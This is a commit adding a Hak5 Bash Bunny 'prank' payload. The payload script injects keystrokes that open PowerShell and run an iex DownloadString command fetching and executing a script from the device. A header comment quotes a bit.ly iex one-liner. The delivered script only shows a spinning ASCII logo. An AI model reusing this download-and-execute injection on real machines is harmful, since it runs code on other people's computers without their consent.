New Payload - Spinning Around (#452)

* New Payload - Spinning Around

* Update readme.md
pull/482/head
cribb-it 2021-12-21 23:17:12 +00:00 committed by GitHub
parent bb601883ef
commit 73bf1c0c48
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 138 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 240 KiB

View File

@ -0,0 +1,39 @@
#!/bin/bash
# Title: Spinning Around
# Description: Spinning Ascii Hak5 Logo
# Author: Cribbit
# Version: 1.0
# Category: Pranks
# Target: Windows (Powershell 5.1+)
# Attackmodes: RNDIS_ETHERNET HID
# Props: TW-D - inspiration, audibleblink - python server
# Super mad Prop: Lee Holmes - Powershell Rickroll iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w")
LED SETUP
ATTACKMODE RNDIS_ETHERNET HID
GET SWITCH_POSITION
GET HOST_IP
cd /root/udisk/payloads/$SWITCH_POSITION/
# starting server
LED SPECIAL
# disallow outgoing dns requests so server starts immediately
iptables -A OUTPUT -p udp --dport 53 -j DROP
python -m SimpleHTTPServer 80 &
# wait until port is listening
while ! nc -z localhost 80; do sleep 0.2; done
# attack commences
LED ATTACK
QUACK DELAY 200
RUN WIN Powershell
QUACK DELAY 500
QUACK STRING "iex (New-Object Net.WebClient).DownloadString(\"http://$HOST_IP/spin\")"
QUACK ENTER
LED FINISH

View File

@ -0,0 +1,28 @@
# Spinning Around
- Author: Cribbit
- Version: 1.0
- Target: Windows (Powershell 5.1+)
- Category: Pranks
- Attackmode: HID & RNDIS_ETHERNET
- Extensions: Run
## Change Log
| Version | Changes |
| ------- | --------------- |
| 1.0 | Initial release |
## Description
Spinning Ascii Hak5 Logo in a powershell window\
![Demo](demo.gif)
## Props
To TW-D for the inspiration, audibleblink for python server code "execution/ShellExec/payload.txt" and
Super mad props to Lee Holmes for Powershell Rickroll for the animation code.
https://www.leeholmes.com/powershell-and-html5/
## Colours
| Status | Colour | Description |
| -------- | ----------------------------- | --------------------------- |
| SETUP | Magenta solid | Setting attack mode |
| ATTACK | Yellow single blink | Injecting Powershell script |
| FINISHED | Green blink followed by SOLID | Injection finished |

View File

@ -0,0 +1,71 @@

$frames = @(
" # # # # # ;;iii; ,::::, ..,. # # :MX,:,M 0ii;2r MMMMMMMMMMMMMMMMMr # # SX.,.iW B7 ,i; 0MM@BWWWMMMMMMMMMM # # a.., 0Z r...: .... . ..MMM8a8880r,:iiiii, # # X.,, ZX .:, 2Z .;. XM722r, .MM7Si,MMMr :ZZZZZZ0, # # r.,,...,:;;::,..i. iM2 ..:r rMM iMMZ X0ZZZ8Z0MMMMMMM0 # # ,,,, ;a7;,.,.,,: ,Mr .S .r ;MB :8 ,8MB88808Z000BBBBWMX # # i,,.8;77,i.;2.,,:iMX 8M. ; XMZ SMM0000ZZMMM0Z8880M: # # 2S.,.M: X7 ,.;Ma SMMr ,.WMr .MB , MMMMaZZZZB0 # # ,2 ,. M Zr.,.0W .;i. ...MM iMMB 7SZaX:SMMMZZZZZ8@i # # r;.,.:Z @Z..i0. ;i: ;Z,. MM , @M2ZM@MMMWMMM02ZZZZWS # # r;:;.2: S,:,iZ ;r ,MX,,82.;X 2MMB000088MM@aaZZZBa # # .:i;:. ... .. MMMMMMZZ888ZBMMZaZZ8W2 # # .ZaS8MB0008ZZ8ZZ80BWr # # .XZ88BB88000Zr # # # # # # # "
" # # # # # 7MMMMSXX2r X2ZWai7X7. # # ,MMMM87i;7: SMMMM8:;2Z. BMMMMM@@WWB0BBZ2 # # ZMMM2 :ii7 MMMMM::i7 rMMMMMMMMMMMMMMMM # # WMMMr ii;a SMMMM:.ii: .. . :MMMMMW80BB77XX;7: # # MMMMi.iiiX, MMMM@;,,8MMMMS820MMMM22MMM; S08800 # # MMMM:,iii;7, .:i,SMMMa,i:2MMM0 :M@. Z0888BMMMMM7 # # WMMM ,iiiir7. ,:i,iMMX iS..MMM2 .S ZMB8888WBBWWM@ # # aMMM,:iiSrXMM@88X:i.7MZ WM aMM7 . :MM808B@M@800M2 # # ;MMMM7,i7r MMMMM,:i 0M XMM: iMM: WM. ZMMMMMBZ80M, # # MMMM;.iiri MMMMB ::,Mr .::,.. MM. MMZ 2ZM@BWMWZ88W8 # # ,MMM8 ,iir, .MMMMW7,,28.:S8SX;, 0@ MMMZ@W8ZaWM0Z80M. # # iMMMZ :ii; XMMMMS:i:2X:SWMMMM:iZa,7MMMM888Z0MWZ88@X # # iMMMa,7XXi .iSB::i,7;, MMMMMM8WB8808BW880@S # # ,. ,,. :ZMWBMMW@WWBBW@Br # # ,iiXXXi: # # # # # # # "
" # # # ,,,;rrX;:. # # SMMMMMMMMMMZ8@MMMM@Sa2 # # MMMMMMMMMB2X7WMMMMMXZ0 i@BBBBBM0ZaSX: # # MMMMMM@MMSi7rWMMMMMXXX MMMMMMMMMMMMMM # # .MM@@@@W@MX;r7MMMMMZiX; 7MMMMMMMWWB7XZi # # ;MM@@@@@MM7r7;BWW@M8;2MMM0ZMMWXWMXSBW8 # # iMM@@@@@MM;r7;i,:i;rrXMMWr;BM0 BZ aBBWMMM # # iMM@@@@@M@;r7;iri,irr;MMiXi2MB,Xi8@0B@@MM # # MM@@@@@M@ir7SZMM8ZX;rM2:MrrM0:ii@MBWMW@M # # iMM@@@@@MMX;XMMMMMM;;SMi2MXiMZ7M:XMMM@0M8 # # MM@@@@@@M0rrr@MMMM0iiZ8:7X;:MaXMS2WB@W0Mr # # ;MM@@@@@@Mr;r;MM@@MBr;BX;a27,0XXMM088@BBM # # 2MM@@@@@M@;rrrMMMMM8r787@MMMiZX8MM00BM0MX # # BMMMMMMMMW;rrS@MMMMS7XSiMMMMMMMMBB0BBW@@ # # rZ88W@MMMM7aa S@@MMMMMMM@W8 # # # # # # # # # "
" # # # 2a222222aBBB0; # # rMMMMMMMMMMMMMMMM: # # 7MMMMMMMMMMMMMBMM@80BX # # XMM@@@@@@@WWMBZMWMMMMMa # # 8M@WWWWWWWWWM0ZM0WMMMM, # # ZM@@@@@@@@W@M0ZM0BBWMX # # ZM@@@@@@@@@@MB2aZ008WM: # # ZM@@@@@@@@@@M82aa008@Mi # # ZM@@@@@@@@@@M8Z@8008WMi # # XM@WWW@@@@@@MBBM80B0WM # # WMWWBBBBBBBWW80MZZZWMM # # MMWWWWWWWWWW@Z0MZ8ZBMM # # MMWWWWWWWWW@@a0MaWW0MW # # MM@@@@@WWW@@@aWM0MMMMB # # MMMMMMMMMMMMMBWMMMMMM, # # i,...irrrrrrX. # # # # # # # "
" # # # r8B0222222222; # # XMMMMMMMMMMMMMMMMM, # # 7ZB0008MMMMW@MMMMMMMMMMMMX # # ,MMMMMMMMWMM00@@@@@W@@@@MMX # # ZMM@@@@B8WW88@WWWWWWWWW@M0 # # 2MBWBBB0WW88@@WWWWWWW@@MW # # MM@0BB0W88888@@@@@@@@@@@MW # # @MM8BW0W88088@@@@@@@@@@@MW # # WMM80B0B0WM08@@@@@@@@@@@Ma # # WMB0BBWB8@MW8@@@@@@@@WW@MX # # 2M@@W0808W@WZWWBBBBBBBBWMM # # XMMMB8BB0W@WZBWWWWWWWWWWMM, # # .MM@BBMB8WMWZB@WWWWWWWW@MMi # # MMMMMMMB@MM8BM@@@@@@@@@MM2 # # ;MM@MMMMW00@MMMMMMMMMMMMMZ # # ;r;;ri..... . # # # # # # # "
" # # # ...;7;., # # i08ZMMMWWWWBBMMMMMMMMM7 # # ,X2Z88WMMWBBBWi :M0aMMMMMMZXS8MMMMMMMMM # # 2MMMMMMMMMMMMMB aSSMMMMMMZ7XraMMMMMMMM # # 82XX@MWMMMMMMM; rXraMM@MMB7XrSMM@@@@MMr # # 0WB8r0MBaMMMB@MMMMS;ZM@@WMB7X77@M@@@@MMX # # 7MMMWBB0i:@8,WMM22aMMM7r7r;ri;7XXXr@M@@@@MM7 # # BMMWWBBW@7r2;WMW;a7XM@r77ri;XXrXXXrWM@@@@MMX # # 7MWWMWBWMZir;0MZiWZ:BM77X00@MMaSXXrBM@@@@MM # # MWBMMMMBiXM;aMS;MM;XMS77WMMMMM@77XMM@@WWMM7 # # @MB@@BWWSBM;2M7rXS7;B877aMMMMMBr77ZM@@W@MMM: # # rMWW@0B@WMM77@rXaZar2WX70MM@@MWr7rrWM@@@MMMZ # # MMBMWBWWMM8S0XZMMM8SBSXaMMMMMM7X7rBM@@@@MMW # # ,MMWWBBBWWMMMMMMM; r2XX7@M@WW02SXr0MMMMMMMM # # iWMMMMMMMMMMWZ iZZX0M@W82SXS # # , # # # # # # # "
" # # # # # :XrX708Xi r2XXZMMB: # # X0BBWWMMMMMMMMMMZ rB27;MMMMi ;S7rXWMMM # # 7MMMMMMMMMMMMMMMM; ,X;i7MMMM ,S;;::ZMM2 # # ;7i;SXrBWB00MMMMMi . ,. i:i.7MMMX Z;i:.7MMM # # ZB88Z8; ZMMMZaMMMMMXBaMMMMM;:.7@MMM :X;ii,iMM@ # # 0MMMMMB88880X rMMi,8MMMW,;;;MMMM:::,..:rr;7;;;i:,MM@ # # .MMWWBBW8Z880@MX :Z:.XMMM;.rX .@M@.:::, :7Z7ii;i: @M@ # # @@008@MM080Z0MW.. :.;MMW..2M: .MMi,iiaBBM8rSra;i:,MM0 # # XM0880MMMMMr :.,MB .MM2 ,BMM. rMX,i:7MMMB aXi:rMMMX # # MB08ZWM@WM@SZS.BMM BMi,:::;.. 0B,ii,MMMM :Xii.;MMM # # rMB8Z8MM8ZBMMM8MMM aM.:;XSZ0r,i@X::SMMMM. ,X;i, 0MMi # # ZM08ZBM@800BBMMMMX.7Bri0MMMB;X:0Xii:aMMMS r;i: aMM7 # # 8M08ZW@88008B0BMMMMM, .,;;:: iai. iS2X:SMM: # # S@MWBBBBWWWMMW@Br. # # :;XXaZXri, # # # # # # # "
" # # # # # .,,,.....,,,,. ::,::, ,r.::i: # # ;MMMMMMMMMMMMMMMMM, X27ii7 MM.::2M. # # 0MMMMMMMMMMWWWWMMM. ;7..;; 2M. .,2X # # :.;;ii: 2B88ZZWMM ,, ... .X ,,r .MZ . :Z # # 7BZZZZ80X.7MM7 :X7MB 7X8X2 iX..2X.,. MZ ..,X # # 8MMMMMMMWZZZZZZB2. 8MMi. MM :r,:.X8 ,7.,:;i;;, ..,,,i # # :M@BBBB0008Z0880B@M8, ,@7 8M r: X7 rS ;r.,,::,;XZ; .,,. # # MB8888ZWMMX7B0BBBMMS .. XM ;..B;. rr,X.,,Xi ,i27B0..:7 # # 2@8ZZZZ8MMW : 0Mi ,M. i.:M88, X7;.,,i, MM .,2X # # @B88ZZaWMMX ;SaaSX: 8M,; M0.,,.:rX:. X0i..;X MM .,.a. # # ;M088ZaaMMMMMMMMMMBXM ,. BM,.:7:,:i7,.0S..S0 ;M. ..X; # # XM08ZZa8MMM88080BWMM 7;.;@;;;2 :7.aS:i:r. @B,7iri # # 7MB8ZZa0MMBZZ888ZMMMMM. . . ,.:.,. # # ,W@B8ZaZ08Z88080M@8Ba # # ;ZBBBBBBWWB80X # # # # # # # "
" # # # # # .2ZZZ0B0ZZaaZZaSSXX . # # :MMMMMMMMMMMMMMMMMM: SMMMMr7rrSMMMM2:r0. # # rM@M@@@@@MMW0000B@M7 2MMMM..:,aMMMMZ ,8X # # BMZZZ80@M: . MMMM. ,,.MMMMM .:S # # .,, iMBZZZ80@M8i;;rMMMr7iSMMMX;;iMMMM. ;;MMMMM ,,X # # ;MMMMMMMW80BZZZ80B@W; ;MMM ,iMMMM SMMM . ,,X. # # MMBBB0008ZZBBZ8880BWM@; XZ .rMMM2 X aMM .., ;X. ,:: # # 0@08888ZZ0 MMWBBWB8WMM . MMM. ,M8 MM .;rMMMMM.,7 # # :@8ZZZZZZW :MMW :Ma WM@ 7MM: Mr ,,iMMMMM .7X # # ZW88Z888B0 ,::,.WMMr. :MMM ZMX . SW..X:MMMMM .:X # # BW888880MS BMMMMB88BM7XMMM ;M: :i0MMW, 0:,; ;MMMMX,iX # # B@88880BM, MMZZZZ8B@2 r8M;.,B7ii .7Z@X.X:, i;,:: # # Z@08880WW 2MBaZ8800BMX: # # r@B8880BWMMBZ88880WMMM # # 8@WBBB088800WWW@r # # .SZB08880ZZ7;, # # # # # "
" # # # .... # # 7MMMMMMMMMMMMMMMMMMWWWr # # .MMMMMMMMMMM@@@MMMMMMMa WMMMMMWX72ZWBr;: # # .MMMMMM@@MMM@WWBBBBB@MZ MMMMMM@i;MMMM27Z # # MMMMMM880B@Mi WMMMMMM.,WMMMZ,2 # # :;;;: 8MBWMMW800BMM8r2MMM02MMMW:iZMMS 2MMMZ,S. # # rMMMMMMM@8ZZZZ8B880BWMW;.7MMX.BMM2 .MMX , .iX # # MMMMMMB008888ZZZ88800B@M2 .8;.2MMr 7 7M7 ::rZ;ir # # MMMMMWZ8888888@MM@88880MMi. : XMM,.M2 M0.iMMMMrr, # # SMMMMMa888888BX .2M@WW@MX ,aW iM@ iMB r@,,@MMM;;X # # MMMMM8Z88888BS BMMMMMB:.rMM..MZ., :, 0r,MMMMXir # # ;MMMMMZ888880WMMM@000B0@SMMM, M2.ZMMM7SX:78WMZ;X # # ZMMMMWZ88800BBMMMZaZ8BWZ8BMS,22::i:X:. # # 0MMMMWZ88008ZBMMWZ800B2:. # # ZMMMMWZ8888ZZWMM88800@MMi # # :MMMMM88088ZZ0080BWM2 # # i8@MMM@@WWWWW@W8S; # # ,;X2XXXi. # # # "
" # # # ::,:rrrrXZ2SSSri. # # XMMMMMMMMMMMMMMMMMMMMX # # MMMMMMMMMMMM@MMMMMMMZ WW000MMMSrSr # # ;W8ZZW@MMMM@@@@@@W@MM MMMMMMMMZMMMX # # MMMMMMMMMMB@Ma MMMMMMMMXWM@X # # ir;i.WM@@@WWWWMWWMMSaM8ZMZaM2ZMWr # # MMMMMMMWWWW0000BBB@MZ:Wa;MS:MZ;72r # # aMMMMMM@@@@B0BBBBBBWWMS7XSMS;0Z;Z0; # # ZMM@@@@@@@@0BBBB@MWBBM@;;2MXBaZSMMX # # :MM@@@@@@@@0BBBBWM@WWM27ZXM7BSZSMMS # # MMM@@@@@MMW0BBBBWW@MMX2MXW7XS2aMMa # # 8MM@@@@@@M@0BBBB@@WW@B@MSBaMMXX7Si # # MMM@@@@@MMBBBB0WMB0WBZ@XX: # # ZMMMM@@MMM@0BB0BMW0WB: # # MMMMMMMMMMB0BB0MMBB@MZ # # MMMMMMMMMM0BBBBWB@M # # MMMMMMMMMMWWWWMMW: # # ;rSaZWWMMMMM@Zi # # # "
" # # # ZZ222228BBBBWZ # # ,MMMMMMMMMMMMMM # # MMMMMMMMMMMMMMi # # 2BMMMMMMMMMMMMS # # MM@@@@@@@@MMX # # 2MM@W@@@@W@MMX # # aMMWBBBBBBBBWMX # # 2MWBBBBBBBBBBMX # # SMM@@@@@@@@@MMX # # SMM@@@@@@@@@MM7 # # SMM@@@@@@@@@MM7 # # SMM@@@@@@@@@MM7 # # :MM@@@@@@@@@MM. # # .MM@@@@@@@@@MM. # # MM@@@@@@@@@MM. # # MMMMMMMMMMMMM. # # 8MMMMMMMMMMMM # # iMMMMMMMMMMMM # # # "
" # # # .;Xa22aaa2rrrrr;, # # BMMMMMMMMMMMMMMMMMMM2 # # .7r2@M@0000BXWMMMMMMMMMMMMMMMMMMM # # ZMMMMMMMMMMMMMM@MMMMM@MMMM@0ZZZBS # # 2MM8MMMMMMMMMWW@MM@@@@@@M0 # # 7MMZMBB@8@BZ@WW@WWWW@WWWM0,irr # # 7BZa@aZW2W2Z@WWWWBBWWWWW@MMMMMM; # # rM8aWa8@aZZ@WWWWWWWWWWW@MMMMMMMM # # aMMZ0B8@a2BMWWMMWWWW@@@@@@@@MMMM # # 8M@ZZB8W88a@WWM@WWWWW@@@@@@@@@MZ # # 0MM00ZZWB@2WWWBWWWWWW@@@@@@@@@M; # # ,XS8MMW@WMW@W@@WWWWW@@@@@@@@@MM # # ,S00B@WW@WWWWWM@MM@@@@@MZ # # :0MW@@WWWW@M@@@@@@@MM # # MM@W@@WWWWM@@@@MMM@MX # # WM@@WWWWMMMMMMMMMM@ # # WMMM@@MMMMMMMMMM@ # # ;BMMMMMMMWW8aar # # . # "
" # # # ..... # # XM@MMMMMMMMMMMMMMMMMMMS # # ;rZB22SS@MMMMWWX ZMMMMMMMMMMMMMMMMMMMMM, # # MaMMMMZXMMMMMMMS ZM@WWWWWW@WWMMM@MM@@@MX # # :87MMMMXi@MMMMMM ,M@B00BMMMMMM; # # ,ar@MM@iXMMZ7XMMMBZMMMW20M@B000WM@WWWMr:iiii. # # .2;:,:r;XMMi..@MMSrMM077BMB0000B8ZZ880MMMMMMMM2 # # S7SZrri7M2:S,8MMXiZXi2M@B00008888800BWBMMMMMMM. # # rS8MMM2:SM:ZM,XMM;iii;MM00000BMMW0000000BM@MMMM # # 2X8MMM7:8a:BMi;MM:2@ri7M@@W@@Mi ZB0000080M@@MMM # # S7WMMMS;0rrri;iMW,8M0:i8MMMMMMr 8W00000ZWM@@@Mi # # X70WZ8XS82MMMaiWBi0MM2BBBBBB@MMMB0000000MM@@MB # # ,;.:,;aSrWM0ZW08888MMMW0000000MMMMMM # # i,XW0008WMMB8000000MMM@MM # # MMMWB000MMW8000008MMMMMM # # iMMWB0000000000MMMMM0 # # ,20MM@@W@@@MMMMMW2 # # :rSZ882Xr. # # # "
" # # # # # .. . Xa2ZZZZZZBWBBBBB0Z2 # # 2SrSMMMWWX7S2MMMMB BMMMMMMMMMMMMMMMMMM. # # .MX:XMMMMM;:i;MMMMM ,MMWBBBB0@MMMMMMMMMM: # # iS:,8MMMM@.i rMMMM; .. WMB000ZWMZ # # ;X:.8MMMMMi,iMMMMiXrWMMM07rWMMM7XraMM088888MM, .,., # # :ri. ,i,,MMM; :.SMMMM,:XMMZ:.i8@008888008BMMMMMMMM: # # ri,.Xr ::: WM7 iX MMMW..iZ. ;0MW0880088BBBBBBBBWWBMM # # rr,8MMMM@;:,,M8 MM aMMZ . .8MM8Z0WWWMMB ZB0000008M@ # # .Zi.8MMMMM.:.XM XMM. ,MMX :Ma . 2MMM BB888888aM: # # iX: 8MMMMW7,:B7 .. .. WMi XMMS .:0MM0 ,. 7M088888Z@B # # ;XriMMMM@;ri;8,7MMMWr: ZM: SMMMX8W800@MMMMX MB88888ZBM # # . . :,,7,20X;,.r:2Zi:0MZr,WB8Z800WMM B@08888ZWM # # ;ZWB088888MMX;M088880MB # # ZMMMB008080MM@W00880WW7 # # WM@WW08800000BWWS # # :iXZB00WWWWB8r # # # # # "
" # # # # # .,.,.i :,..,. :,iiiiiiiiii;:,.. # # MS:irMMX i7i;7BM MMMMMMMMMMMMMMMMMB # # rZ,. rMM, .7,, MM SM@BBBBW@MMMMMMMMM # # S:.. BMM :i, MX .. ...aM0ZZ880r ., # # X,,, BM@ ..,Z,..MB :XZXXZ ;S;r ,Za::0BZZZZZ0. . # # i::. ,;i:i,. MB .S,,.,M ,i,i.X8r ;08ZZZZ80WMMMMMMMB. # # .::. ;27:::.,. WM i.,Z ZX ;i.iZX :MM0888800BB0000BBBM2 # # r:,:WMMr:.,X:,. MW . BS. iB ;:.:. :XM@0000B2 0MBZZ8888Mr # # XS,,,MMB ;., ,M7 ZMXr B. ;.:S;:. .. MMZZZZZZ8W # # S.,. MMS ,a,. Z0 i:;,. XS ; 7, Si ;7;77X; WMW2ZZZZZWr # # ,7., :MM ;0,.,B. X7, ,ri,.@2i.; XaM@MMMMM,rMM2ZZZZZBZ # # ,7i7.0Bi iii::Z,;8 rii@Z:;X.: ZMB0000BS MMZaZZZZB8 # # MMWM@8ZZZZ0ZMM02ZZZZBZ # # Z@S,@088Z88WW8ZZZ8BB7 # # rBBBWWWB0BWWW0S # # .:,..,,: # # # # # "
)
$counter = 0
$maxCounter = $frames.Count
$host.UI.RawUI.BackgroundColor = "Black"
$host.UI.RawUI.ForegroundColor = "Red"
1..4 | % {
try
{
$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 72,30
}
catch {}
}
try
{
Clear-Host
$host.UI.RawUI.CursorPosition = New-Object System.Management.Automation.Host.Coordinates `
0,([Console]::WindowHeight - 1)
Write-Host -NoNewLine 'Press Q to Quit'
## Loop through the frames and display them
[Console]::TreatControlCAsInput = $true
while($true)
{
if([Console]::KeyAvailable)
{
$key = [Console]::ReadKey()
if(($key.Key -eq 'Escape') -or
($key.Key -eq 'Q') -or
($key.Key -eq 'C'))
{
break
}
}
$host.UI.RawUI.CursorPosition = New-Object System.Management.Automation.Host.Coordinates 0,0
Write-Host (($frames[$counter] -split "`t") -join "`r`n")
Start-Sleep -m 150
$counter = ($counter + 1) % $maxCounter
}
}
finally
{
## Clean up, display exit screen
Clear-Host
$frames[0] -split "`t"
"`n"
" Trust Your Technolust"
"`n`n`n"
}